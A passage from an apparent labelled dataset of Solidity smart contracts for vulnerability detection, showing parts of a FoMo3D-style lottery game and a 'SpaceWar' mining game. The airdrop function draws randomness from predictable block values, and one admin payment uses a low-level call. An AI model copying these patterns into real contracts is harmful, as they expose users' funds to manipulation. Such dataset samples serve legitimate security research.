(round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; _eventData_.compressedData = _eventData_.compressedData + 100; } if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { uint256 _prize; if (_eth >= 10000000000000000000) { _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } _eventData_.compressedData += 10000000000000000000000000000000; _eventData_.compressedData += _prize * 1000000000000000000000000000000000; airDropTracker_ = 0; } } _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); endTx(_pID, _team, _eth, _keys, _eventData_); } } function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else return ( (_eth).keys() ); } function iWantXKeys(uint256 _keys) public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else return ( (_keys).eth() ); } function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function determinePID(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; if (_pID == 0) { _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != """") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); plyr_[_pID].lrnd = rID_; _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } function endRound(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _rID = rID_; uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; uint256 _pot = round_[_rID].pot; uint256 _win = (_pot.mul(48)) / 100; uint256 _com = (_pot / 50); uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d); uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } plyr_[_winPID].win = _win.add(plyr_[_winPID].win); _com = _com.add(_p3d.sub(_p3d / 2)); admin.transfer(_com); _res = _res.add(_p3d / 2); round_[_rID].mask = _ppt.add(round_[_rID].mask); _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.P3DAmount = _p3d; _eventData_.newPot = _res; rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = _res; return(_eventData_); } function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } function updateTimer(uint256 _keys, uint256 _rID) private { uint256 _now = now; uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _p1 = _eth / 100; uint256 _com = _eth / 50; _com = _com.add(_p1); uint256 _p3d; if (!address(admin).call.value(_com)()) { _p3d = _com; _com = 0; } uint256 _aff = _eth / 10; if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { _p3d = _p3d.add(_aff); } _p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100)); if (_p3d > 0) { uint256 _potAmount = _p3d / 2; admin.transfer(_p3d.sub(_potAmount)); round_[_rID].pot = round_[_rID].pot.add(_potAmount); _eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount); } return(_eventData_); } function potSwap() external payable { uint256 _rID = rID_ + 1; round_[_rID].pot = round_[_rID].pot.add(msg.value); emit F3Devents.onPotSwapDeposit(_rID, msg.value); } function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; uint256 _air = (_eth / 100); airDropPot_ = airDropPot_.add(_air); _eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100)); uint256 _pot = _eth.sub(_gen); uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } function withdrawEarnings(uint256 _pID) private returns(uint256) { updateGenVault(_pID, plyr_[_pID].lrnd); uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit F3Devents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } bool public activated_ = false; function activate() public { require(msg.sender == admin, ""only admin can activate""); require(activated_ == false, ""FOMO Short already activated""); activated_ = true; rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } } library F3Ddatasets { struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; bytes32 winnerName; uint256 amountWon; uint256 newPot; uint256 P3DAmount; uint256 genAmount; uint256 potAmount; } struct Player { address addr; bytes32 name; uint256 win; uint256 gen; uint256 aff; uint256 lrnd; uint256 laff; } struct PlayerRounds { uint256 eth; uint256 keys; uint256 mask; uint256 ico; } struct Round { uint256 plyr; uint256 team; uint256 end; bool ended; uint256 strt; uint256 keys; uint256 eth; uint256 pot; uint256 mask; uint256 ico; uint256 icoGen; uint256 icoAvg; } struct TeamFee { uint256 gen; uint256 p3d; } struct PotSplit { uint256 gen; uint256 p3d; } } library F3DKeysCalcShort { using SafeMath for *; function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0, ""string must be between 1 and 32 characters""); require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, ""string cannot start or end with space""); if (_temp[0] == 0x30) { require(_temp[1] != 0x78, ""string cannot start with 0x""); require(_temp[1] != 0x58, ""string cannot start with 0X""); } bool _hasNonNumber; for (uint256 i = 0; i < _length; i++) { if (_temp[i] > 0x40 && _temp[i] < 0x5b) { _temp[i] = byte(uint(_temp[i]) + 32); if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a), ""string contains invalid characters"" ); if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, ""string cannot contain consecutive spaces""); if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, ""string cannot be only numbers""); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, ""SafeMath mul failed""); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, ""SafeMath sub failed""); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, ""SafeMath add failed""); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }",./Dataset/block number dependency (BN),0,0 9830.sol,"pragma solidity ^0.4.18; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a); } function sub(uint256 a, uint256 b) internal pure returns (uint256 c) { require(b <= a); c = a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a * b; require(a == 0 || c / a == b); } } library NumericSequence { using SafeMath for uint256; function sumOfN(uint256 basePrice, uint256 pricePerLevel, uint256 owned, uint256 count) internal pure returns (uint256 price) { require(count > 0); price = 0; price += SafeMath.mul((basePrice + pricePerLevel * owned), count); price += pricePerLevel * (count.mul((count-1))) / 2; } } contract SpaceWar { using NumericSequence for uint; using SafeMath for uint; struct MinerData { uint256[9] spaces; uint8[3] hasUpgrade; uint256 money; uint256 lastUpdateTime; uint256 premamentMineBonusPct; uint256 unclaimedPot; uint256 lastPotClaimIndex; } struct SpaceData { uint256 basePrice; uint256 baseOutput; uint256 pricePerLevel; uint256 priceInETH; uint256 limit; } struct BoostData { uint256 percentBonus; uint256 priceInWEI; } struct PVPData { uint256[6] troops; uint256 immunityTime; uint256 exhaustTime; } struct TroopData { uint256 attackPower; uint256 defensePower; uint256 priceGold; uint256 priceETH; } uint8 private constant NUMBER_OF_RIG_TYPES = 9; SpaceData[9] private spaceData; uint8 private constant NUMBER_OF_UPGRADES = 3; BoostData[3] private boostData; uint8 private constant NUMBER_OF_TROOPS = 6; uint8 private constant ATTACKER_START_IDX = 0; uint8 private constant ATTACKER_END_IDX = 3; uint8 private constant DEFENDER_START_IDX = 3; uint8 private constant DEFENDER_END_IDX = 6; TroopData[6] private troopData; uint256 private honeyPotAmount; uint256 private honeyPotSharePct; uint256 private jackPot; uint256 private devFund; uint256 private nextPotDistributionTime; mapping(address => mapping(uint256 => uint256)) private minerICOPerCycle; uint256[] private honeyPotPerCycle; uint256[] private globalICOPerCycle; uint256 private cycleCount; uint256 private constant NUMBER_OF_BOOSTERS = 5; uint256 private boosterIndex; uint256 private nextBoosterPrice; address[5] private boosterHolders; mapping(address => MinerData) private miners; mapping(address => PVPData) private pvpMap; mapping(uint256 => address) private indexes; uint256 private topindex; address private owner; function SpaceWar() public { owner = msg.sender; spaceData[0] = SpaceData(500, 1, 5, 0, 999); spaceData[1] = SpaceData(50000, 10, 500, 0, 999); spaceData[2] = SpaceData(5000000, 100, 50000, 0, 999); spaceData[3] = SpaceData(80000000, 1000, 800000, 0, 999); spaceData[4] = SpaceData(500000000, 20000, 5000000, 0.01 ether, 999); spaceData[5] = SpaceData(10000000000, 100000, 100000000, 0, 999); spaceData[6] = SpaceData(100000000000, 1000000, 1000000000, 0, 999); spaceData[7] = SpaceData(1000000000000, 50000000, 10000000000, 0.1 ether, 999); spaceData[8] = SpaceData(10000000000000, 100000000,100000000000, 0, 999); boostData[0] = BoostData(30, 0.01 ether); boostData[1] = BoostData(50, 0.1 ether); boostData[2] = BoostData(100, 1 ether); topindex = 0; honeyPotAmount = 0; devFund = 0; jackPot = 0; nextPotDistributionTime = block.timestamp; honeyPotSharePct = 90; boosterHolders[0] = owner; boosterHolders[1] = owner; boosterHolders[2] = owner; boosterHolders[3] = owner; boosterHolders[4] = owner; boosterIndex = 0; nextBoosterPrice = 0.1 ether; troopData[0] = TroopData(10, 0, 100000, 0); troopData[1] = TroopData(1000, 0, 80000000, 0); troopData[2] = TroopData(100000, 0, 1000000000, 0.01 ether); troopData[3] = TroopData(0, 15, 100000, 0); troopData[4] = TroopData(0, 1500, 80000000, 0); troopData[5] = TroopData(0, 150000, 1000000000, 0.01 ether); honeyPotPerCycle.push(0); globalICOPerCycle.push(1); cycleCount = 0; } function GetMinerData(address minerAddr) public constant returns (uint256 money, uint256 lastupdate, uint256 prodPerSec, uint256[9] spaces, uint[3] upgrades, uint256 unclaimedPot, bool hasBooster, uint256 unconfirmedMoney) { uint8 i = 0; money = miners[minerAddr].money; lastupdate = miners[minerAddr].lastUpdateTime; prodPerSec = GetProductionPerSecond(minerAddr); for(i = 0; i < NUMBER_OF_RIG_TYPES; ++i) { spaces[i] = miners[minerAddr].spaces[i]; } for(i = 0; i < NUMBER_OF_UPGRADES; ++i) { upgrades[i] = miners[minerAddr].hasUpgrade[i]; } unclaimedPot = miners[minerAddr].unclaimedPot; hasBooster = HasBooster(minerAddr); unconfirmedMoney = money + (prodPerSec * (now - lastupdate)); } function GetTotalMinerCount() public constant returns (uint256 count) { count = topindex; } function GetMinerAt(uint256 idx) public constant returns (address minerAddr) { require(idx < topindex); minerAddr = indexes[idx]; } function GetPotInfo() public constant returns (uint256 _honeyPotAmount, uint256 _devFunds, uint256 _jackPot, uint256 _nextDistributionTime) { _honeyPotAmount = honeyPotAmount; _devFunds = devFund; _jackPot = jackPot; _nextDistributionTime = nextPotDistributionTime; } function GetProductionPerSecond(address minerAddr) public constant returns (uint256 personalProduction) { MinerData storage m = miners[minerAddr]; personalProduction = 0; uint256 productionSpeed = 100 + m.premamentMineBonusPct; if(HasBooster(minerAddr)) productionSpeed += 100; for(uint8 j = 0; j < NUMBER_OF_RIG_TYPES; ++j) { personalProduction += m.spaces[j] * spaceData[j].baseOutput; } personalProduction = personalProduction * productionSpeed / 100; } function GetGlobalProduction() public constant returns (uint256 globalMoney, uint256 globalHashRate) { globalMoney = 0; globalHashRate = 0; uint i = 0; for(i = 0; i < topindex; ++i) { MinerData storage m = miners[indexes[i]]; globalMoney += m.money; globalHashRate += GetProductionPerSecond(indexes[i]); } } function GetBoosterData() public constant returns (address[5] _boosterHolders, uint256 currentPrice, uint256 currentIndex) { for(uint i = 0; i < NUMBER_OF_BOOSTERS; ++i) { _boosterHolders[i] = boosterHolders[i]; } currentPrice = nextBoosterPrice; currentIndex = boosterIndex; } function HasBooster(address addr) public constant returns (bool hasBoost) { for(uint i = 0; i < NUMBER_OF_BOOSTERS; ++i) { if(boosterHolders[i] == addr) return true; } return false; } function GetPVPData(address addr) public constant returns (uint256 attackpower, uint256 defensepower, uint256 immunityTime, uint256 exhaustTime, uint256[6] troops) { PVPData storage a = pvpMap[addr]; immunityTime = a.immunityTime; exhaustTime = a.exhaustTime; attackpower = 0; defensepower = 0; for(uint i = 0; i < NUMBER_OF_TROOPS; ++i) { attackpower += a.troops[i] * troopData[i].attackPower; defensepower += a.troops[i] * troopData[i].defensePower; troops[i] = a.troops[i]; } } function GetCurrentICOCycle() public constant returns (uint256) { return cycleCount; } function GetICOData(uint256 idx) public constant returns (uint256 ICOFund, uint256 ICOPot) { require(idx <= cycleCount); ICOFund = globalICOPerCycle[idx]; if(idx < cycleCount) { ICOPot = honeyPotPerCycle[idx]; } else { ICOPot = honeyPotAmount / 10; } } function GetMinerICOData(address miner, uint256 idx) public constant returns (uint256 ICOFund, uint256 ICOShare, uint256 lastClaimIndex) { require(idx <= cycleCount); ICOFund = minerICOPerCycle[miner][idx]; if(idx < cycleCount) { ICOShare = (honeyPotPerCycle[idx] * minerICOPerCycle[miner][idx]) / globalICOPerCycle[idx]; } else { ICOShare = (honeyPotAmount / 10) * minerICOPerCycle[miner][idx] / globalICOPerCycle[idx]; } lastClaimIndex = miners[miner].lastPotClaimIndex; } function GetMinerUnclaimedICOShare(address miner) public constant returns (uint256 unclaimedPot) { MinerData storage m = miners[miner]; require(m.lastUpdateTime != 0); require(m.lastPotClaimIndex < cycleCount); uint256 i = m.lastPotClaimIndex; uint256 limit = cycleCount; if((limit - i) > 30) limit = i + 30; unclaimedPot = 0; for(; i < cycleCount; ++i) { if(minerICOPerCycle[miner][i] > 0) unclaimedPot += (honeyPotPerCycle[i] * minerICOPerCycle[miner][i]) / globalICOPerCycle[i]; } } function StartNewMiner() external { require(miners[msg.sender].lastUpdateTime == 0); miners[msg.sender].lastUpdateTime = block.timestamp; miners[msg.sender].money = 0; miners[msg.sender].spaces[0] = 1; miners[msg.sender].unclaimedPot = 0; miners[msg.sender].lastPotClaimIndex = cycleCount; pvpMap[msg.sender].immunityTime = block.timestamp + 14400; pvpMap[msg.sender].exhaustTime = block.timestamp; indexes[topindex] = msg.sender; ++topindex; } function UpgradeSpace(uint8 spaceIdx, uint16 count) external { require(spaceIdx < NUMBER_OF_RIG_TYPES); require(count > 0); require(count <= 999); require(spaceData[spaceIdx].priceInETH == 0); MinerData storage m = miners[msg.sender]; require(spaceData[spaceIdx].limit >= (m.spaces[spaceIdx] + count)); UpdateMoney(); uint256 price = NumericSequence.sumOfN(spaceData[spaceIdx].basePrice, spaceData[spaceIdx].pricePerLevel, m.spaces[spaceIdx], count); require(m.money >= price); m.spaces[spaceIdx] = m.spaces[spaceIdx] + count; if(m.spaces[spaceIdx] > spaceData[spaceIdx].limit) m.spaces[spaceIdx] = spaceData[spaceIdx].limit; m.money -= price; } function UpgradeSpaceETH(uint8 spaceIdx, uint256 count) external payable { require(spaceIdx < NUMBER_OF_RIG_TYPES); require(count > 0); require(count <= 999); require(spaceData[spaceIdx].priceInETH > 0); MinerData storage m = miners[msg.sender]; require(spaceData[spaceIdx].limit >= (m.spaces[spaceIdx] + count)); uint256 price = (spaceData[spaceIdx].priceInETH).mul(count); uint256 priceCoin = NumericSequence.sumOfN(spaceData[spaceIdx].basePrice, spaceData[spaceIdx].pricePerLevel, m.spaces[spaceIdx], count); UpdateMoney(); require(msg.value >= price); require(m.money >= priceCoin); BuyHandler(msg.value); m.spaces[spaceIdx] = m.spaces[spaceIdx] + count; if(m.spaces[spaceIdx] > spaceData[spaceIdx].limit) m.spaces[spaceIdx] = spaceData[spaceIdx].limit; m.money -= priceCoin; } function UpdateMoney() private { require(miners[msg.sender].lastUpdateTime != 0); require(block.timestamp >= miners[msg.sender].lastUpdateTime); MinerData storage m = miners[msg.sender]; uint256 diff = block.timestamp - m.lastUpdateTime; uint256 revenue = GetProductionPerSecond(msg.sender); m.lastUpdateTime = block.timestamp; if(revenue > 0) { revenue *= diff; m.money += revenue; } } function UpdateMoneyAt(address addr) private { require(miners[addr].lastUpdateTime != 0); require(block.timestamp >= miners[addr].lastUpdateTime); MinerData storage m = miners[addr]; uint256 diff = block.timestamp - m.lastUpdateTime; uint256 revenue = GetProductionPerSecond(addr); m.lastUpdateTime = block.timestamp; if(revenue > 0) { revenue *= diff; m.money += revenue; } } function BuyUpgrade(uint256 idx) external payable { require(idx < NUMBER_OF_UPGRADES); require(msg.value >= boostData[idx].priceInWEI); require(miners[msg.sender].hasUpgrade[idx] == 0); require(miners[msg.sender].lastUpdateTime != 0); BuyHandler(msg.value); UpdateMoney(); miners[msg.sender].hasUpgrade[idx] = 1; miners[msg.sender].premamentMineBonusPct += boostData[idx].percentBonus; } function BuyBooster() external payable { require(msg.value >= nextBoosterPrice); require(miners[msg.sender].lastUpdateTime != 0); for(uint i = 0; i < NUMBER_OF_BOOSTERS; ++i) if(boosterHolders[i] == msg.sender) revert(); address beneficiary = boosterHolders[boosterIndex]; MinerData storage m = miners[beneficiary]; m.unclaimedPot += (msg.value * 9403) / 10000; honeyPotAmount += (msg.value * 597) / 20000; devFund += (msg.value * 597) / 20000; nextBoosterPrice += nextBoosterPrice / 20; UpdateMoney(); UpdateMoneyAt(beneficiary); boosterHolders[boosterIndex] = msg.sender; boosterIndex += 1; if(boosterIndex >= 5) boosterIndex = 0; } function BuyTroop(uint256 idx, uint256 count) external payable { require(idx < NUMBER_OF_TROOPS); require(count > 0); require(count <= 1000); PVPData storage pvp = pvpMap[msg.sender]; MinerData storage m = miners[msg.sender]; uint256 owned = pvp.troops[idx]; uint256 priceGold = NumericSequence.sumOfN(troopData[idx].priceGold, troopData[idx].priceGold / 100, owned, count); uint256 priceETH = (troopData[idx].priceETH).mul(count); UpdateMoney(); require(m.money >= priceGold); require(msg.value >= priceETH); if(priceGold > 0) m.money -= priceGold; if(msg.value > 0) BuyHandler(msg.value); pvp.troops[idx] += count; } function Attack(address defenderAddr) external { require(msg.sender != defenderAddr); require(miners[msg.sender].lastUpdateTime != 0); require(miners[defenderAddr].lastUpdateTime != 0); PVPData storage attacker = pvpMap[msg.sender]; PVPData storage defender = pvpMap[defenderAddr]; uint i = 0; uint256 count = 0; require(block.timestamp > attacker.exhaustTime); require(block.timestamp > defender.immunityTime); if(attacker.immunityTime > block.timestamp) attacker.immunityTime = block.timestamp - 1; attacker.exhaustTime = block.timestamp + 3600; uint256 attackpower = 0; uint256 defensepower = 0; for(i = 0; i < ATTACKER_END_IDX; ++i) { attackpower += attacker.troops[i] * troopData[i].attackPower; defensepower += defender.troops[i + DEFENDER_START_IDX] * troopData[i + DEFENDER_START_IDX].defensePower; } if(attackpower > defensepower) { if(defender.immunityTime < block.timestamp + 14400) defender.immunityTime = block.timestamp + 14400; UpdateMoneyAt(defenderAddr); MinerData storage m = miners[defenderAddr]; MinerData storage m2 = miners[msg.sender]; uint256 moneyStolen = m.money / 2; for(i = DEFENDER_START_IDX; i < DEFENDER_END_IDX; ++i) { defender.troops[i] = defender.troops[i]/2; } for(i = ATTACKER_START_IDX; i < ATTACKER_END_IDX; ++i) { if(troopData[i].attackPower > 0) { count = attacker.troops[i]; if((count * troopData[i].attackPower) > defensepower) { count = count * defensepower / attackpower / 2; } else { count = count/2; } attacker.troops[i] = SafeMath.sub(attacker.troops[i],count); defensepower -= count * troopData[i].attackPower; } } m.money -= moneyStolen; m2.money += moneyStolen; } else { for(i = ATTACKER_START_IDX; i < ATTACKER_END_IDX; ++i) { attacker.troops[i] = attacker.troops[i] / 2; } for(i = DEFENDER_START_IDX; i < DEFENDER_END_IDX; ++i) { if(troopData[i].defensePower > 0) { count = defender.troops[i]; if((count * troopData[i].defensePower) > attackpower) count = count * attackpower / defensepower / 2; defender.troops[i] -= count; attackpower -= count * troopData[i].defensePower; } } } } function ReleaseICO() external { require(miners[msg.sender].lastUpdateTime != 0); require(nextPotDistributionTime <= block.timestamp); require(honeyPotAmount > 0); require(globalICOPerCycle[cycleCount] > 0); nextPotDistributionTime = block.timestamp + 86400; honeyPotPerCycle[cycleCount] = honeyPotAmount / 10; honeyPotAmount -= honeyPotAmount / 10; honeyPotPerCycle.push(0); globalICOPerCycle.push(0); cycleCount = cycleCount + 1; MinerData storage jakpotWinner = miners[msg.sender]; jakpotWinner.unclaimedPot += jackPot; jackPot = 0; } function FundICO(uint amount) external { require(miners[msg.sender].lastUpdateTime != 0); require(amount > 0); MinerData storage m = miners[msg.sender]; UpdateMoney(); require(m.money >= amount); m.money = (m.money).sub(amount); globalICOPerCycle[cycleCount] = globalICOPerCycle[cycleCount].add(uint(amount)); minerICOPerCycle[msg.sender][cycleCount] = minerICOPerCycle[msg.sender][cycleCount].add(uint(amount)); } function WithdrawICOEarnings() external { MinerData storage m = miners[msg.sender]; require(miners[msg.sender].lastUpdateTime != 0); require(miners[msg.sender].lastPotClaimIndex < cycleCount); uint256 i = m.lastPotClaimIndex; uint256 limit = cycleCount; if((limit - i) > 30) limit = i + 30; m.lastPotClaimIndex = limit; for(; i < cycleCount; ++i) { if(minerICOPerCycle[msg.sender][i] > 0) m.unclaimedPot += (honeyPotPerCycle[i] * minerICOPerCycle[msg.sender][i]) / globalICOPerCycle[i]; } } function BuyHandler(uint amount) private { honeyPotAmount += (amount * honeyPotSharePct) / 100; jackPot += amount / 100; devFund += (amount * 